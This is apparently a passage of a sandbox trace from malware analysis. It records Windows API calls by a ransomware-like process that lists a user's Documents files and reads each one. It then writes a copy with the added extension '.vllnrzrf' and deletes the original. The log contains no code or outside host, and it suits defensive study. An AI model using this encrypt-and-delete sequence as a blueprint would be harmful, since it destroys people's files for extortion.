lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1cfcecc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0101.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf120) returned 1 [0101.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1cfcec10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0101.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\", nBufferLength=0x105, lpBuffer=0x1cfcebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\", lpFilePart=0x0) returned 0x49 [0101.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\*.*", lpFindFileData=0x1cfcedc0 | out: lpFindFileData=0x1cfcedc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0101.493] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.493] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cogMpQr644O", cAlternateFileName="COGMPQ~1")) returned 1 [0101.493] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70b1260, ftCreationTime.dwHighDateTime=0x1d5dfd2, ftLastAccessTime.dwLowDateTime=0xdda9cb0, ftLastAccessTime.dwHighDateTime=0x1d5e748, ftLastWriteTime.dwLowDateTime=0xdda9cb0, ftLastWriteTime.dwHighDateTime=0x1d5e748, nFileSizeHigh=0x0, nFileSizeLow=0x120ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mto-1mF6wn0kno.pdf", cAlternateFileName="MTO-1M~1.PDF")) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38568ff0, ftCreationTime.dwHighDateTime=0x1d5e502, ftLastAccessTime.dwLowDateTime=0xb2b178e0, ftLastAccessTime.dwHighDateTime=0x1d5e6fc, ftLastWriteTime.dwLowDateTime=0xb2b178e0, ftLastWriteTime.dwHighDateTime=0x1d5e6fc, nFileSizeHigh=0x0, nFileSizeLow=0x12f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NpA.doc", cAlternateFileName="")) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b802b50, ftCreationTime.dwHighDateTime=0x1d5d9fc, ftLastAccessTime.dwLowDateTime=0xe5360b80, ftLastAccessTime.dwHighDateTime=0x1d5d808, ftLastWriteTime.dwLowDateTime=0xe5360b80, ftLastWriteTime.dwHighDateTime=0x1d5d808, nFileSizeHigh=0x0, nFileSizeLow=0x7cf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="REfzHcN7Ov.ods", cAlternateFileName="REFZHC~1.ODS")) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abf8a20, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0xb86db0c0, ftLastAccessTime.dwHighDateTime=0x1d5e321, ftLastWriteTime.dwLowDateTime=0xb86db0c0, ftLastWriteTime.dwHighDateTime=0x1d5e321, nFileSizeHigh=0x0, nFileSizeLow=0x8948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfoYJX8aL6-wPv14Ry.pps", cAlternateFileName="SFOYJX~1.PPS")) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfcee10 | out: lpFindFileData=0x1cfcee10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.494] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0101.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcf070) returned 1 [0101.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcf030) returned 1 [0101.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", lpFilePart=0x0) returned 0x5b [0101.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", lpFilePart=0x0) returned 0x5b [0101.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", lpFilePart=0x0) returned 0x5b [0101.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\mto-1mf6wn0kno.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.495] GetFileType (hFile=0x504) returned 0x1 [0101.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.495] GetFileType (hFile=0x504) returned 0x1 [0101.495] GetFileSize (in: hFile=0x504, lpFileSizeHigh=0x1cfcf1a8 | out: lpFileSizeHigh=0x1cfcf1a8*=0x0) returned 0x120ac [0101.496] ReadFile (in: hFile=0x504, lpBuffer=0x2249f48, nNumberOfBytesToRead=0x120ac, lpNumberOfBytesRead=0x1cfcf0d8, lpOverlapped=0x0 | out: lpBuffer=0x2249f48*, lpNumberOfBytesRead=0x1cfcf0d8*=0x120ac, lpOverlapped=0x0) returned 1 [0101.500] CloseHandle (hObject=0x504) returned 1 [0101.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf.vllnrzrf", lpFilePart=0x0) returned 0x64 [0101.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\mto-1mf6wn0kno.pdf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.509] GetFileType (hFile=0x504) returned 0x1 [0101.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.509] GetFileType (hFile=0x504) returned 0x1 [0101.509] WriteFile (in: hFile=0x504, lpBuffer=0x22b1748*, nNumberOfBytesToWrite=0x122ac, lpNumberOfBytesWritten=0x1cfcf138, lpOverlapped=0x0 | out: lpBuffer=0x22b1748*, lpNumberOfBytesWritten=0x1cfcf138*=0x122ac, lpOverlapped=0x0) returned 1 [0101.511] CloseHandle (hObject=0x504) returned 1 [0101.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", lpFilePart=0x0) returned 0x5b [0101.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", nBufferLength=0x105, lpBuffer=0x1cfcecd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf", lpFilePart=0x0) returned 0x5b [0101.513] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\Mto-1mF6wn0kno.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\mto-1mf6wn0kno.pdf")) returned 1 [0101.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", lpFilePart=0x0) returned 0x50 [0101.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", lpFilePart=0x0) returned 0x50 [0101.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", lpFilePart=0x0) returned 0x50 [0101.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\npa.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.516] GetFileType (hFile=0x504) returned 0x1 [0101.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.516] GetFileType (hFile=0x504) returned 0x1 [0101.516] GetFileSize (in: hFile=0x504, lpFileSizeHigh=0x1cfcf1a8 | out: lpFileSizeHigh=0x1cfcf1a8*=0x0) returned 0x12f1b [0101.516] ReadFile (in: hFile=0x504, lpBuffer=0x22c4728, nNumberOfBytesToRead=0x12f1b, lpNumberOfBytesRead=0x1cfcf0d8, lpOverlapped=0x0 | out: lpBuffer=0x22c4728*, lpNumberOfBytesRead=0x1cfcf0d8*=0x12f1b, lpOverlapped=0x0) returned 1 [0101.517] CloseHandle (hObject=0x504) returned 1 [0101.527] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc.vllnrzrf", lpFilePart=0x0) returned 0x59 [0101.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\npa.doc.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.530] GetFileType (hFile=0x504) returned 0x1 [0101.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.530] GetFileType (hFile=0x504) returned 0x1 [0101.530] WriteFile (in: hFile=0x504, lpBuffer=0x232d7a8*, nNumberOfBytesToWrite=0x1311b, lpNumberOfBytesWritten=0x1cfcf138, lpOverlapped=0x0 | out: lpBuffer=0x232d7a8*, lpNumberOfBytesWritten=0x1cfcf138*=0x1311b, lpOverlapped=0x0) returned 1 [0101.532] CloseHandle (hObject=0x504) returned 1 [0101.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", lpFilePart=0x0) returned 0x50 [0101.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", nBufferLength=0x105, lpBuffer=0x1cfcecd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc", lpFilePart=0x0) returned 0x50 [0101.534] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\NpA.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\npa.doc")) returned 1 [0101.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", lpFilePart=0x0) returned 0x57 [0101.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", lpFilePart=0x0) returned 0x57 [0101.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", lpFilePart=0x0) returned 0x57 [0101.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\refzhcn7ov.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.536] GetFileType (hFile=0x504) returned 0x1 [0101.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.537] GetFileType (hFile=0x504) returned 0x1 [0101.537] GetFileSize (in: hFile=0x504, lpFileSizeHigh=0x1cfcf1a8 | out: lpFileSizeHigh=0x1cfcf1a8*=0x0) returned 0x7cf5 [0101.537] ReadFile (in: hFile=0x504, lpBuffer=0x23415e8, nNumberOfBytesToRead=0x7cf5, lpNumberOfBytesRead=0x1cfcf0d8, lpOverlapped=0x0 | out: lpBuffer=0x23415e8*, lpNumberOfBytesRead=0x1cfcf0d8*=0x7cf5, lpOverlapped=0x0) returned 1 [0101.538] CloseHandle (hObject=0x504) returned 1 [0101.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods.vllnrzrf", lpFilePart=0x0) returned 0x60 [0101.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\refzhcn7ov.ods.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.547] GetFileType (hFile=0x504) returned 0x1 [0101.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.547] GetFileType (hFile=0x504) returned 0x1 [0101.547] WriteFile (in: hFile=0x504, lpBuffer=0x237e230*, nNumberOfBytesToWrite=0x7ef5, lpNumberOfBytesWritten=0x1cfcf138, lpOverlapped=0x0 | out: lpBuffer=0x237e230*, lpNumberOfBytesWritten=0x1cfcf138*=0x7ef5, lpOverlapped=0x0) returned 1 [0101.548] CloseHandle (hObject=0x504) returned 1 [0101.549] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", lpFilePart=0x0) returned 0x57 [0101.549] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", nBufferLength=0x105, lpBuffer=0x1cfcecd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods", lpFilePart=0x0) returned 0x57 [0101.549] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\REfzHcN7Ov.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\refzhcn7ov.ods")) returned 1 [0101.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", lpFilePart=0x0) returned 0x5f [0101.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", lpFilePart=0x0) returned 0x5f [0101.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", lpFilePart=0x0) returned 0x5f [0101.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\sfoyjx8al6-wpv14ry.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.552] GetFileType (hFile=0x504) returned 0x1 [0101.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.552] GetFileType (hFile=0x504) returned 0x1 [0101.552] GetFileSize (in: hFile=0x504, lpFileSizeHigh=0x1cfcf1a8 | out: lpFileSizeHigh=0x1cfcf1a8*=0x0) returned 0x8948 [0101.552] ReadFile (in: hFile=0x504, lpBuffer=0x2386ec0, nNumberOfBytesToRead=0x8948, lpNumberOfBytesRead=0x1cfcf0d8, lpOverlapped=0x0 | out: lpBuffer=0x2386ec0*, lpNumberOfBytesRead=0x1cfcf0d8*=0x8948, lpOverlapped=0x0) returned 1 [0101.553] CloseHandle (hObject=0x504) returned 1 [0101.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps.vllnrzrf", lpFilePart=0x0) returned 0x68 [0101.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfcf010) returned 1 [0101.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\sfoyjx8al6-wpv14ry.pps.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x504 [0101.562] GetFileType (hFile=0x504) returned 0x1 [0101.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfcef80) returned 1 [0101.562] GetFileType (hFile=0x504) returned 0x1 [0101.562] WriteFile (in: hFile=0x504, lpBuffer=0x23c96a8*, nNumberOfBytesToWrite=0x8b48, lpNumberOfBytesWritten=0x1cfcf138, lpOverlapped=0x0 | out: lpBuffer=0x23c96a8*, 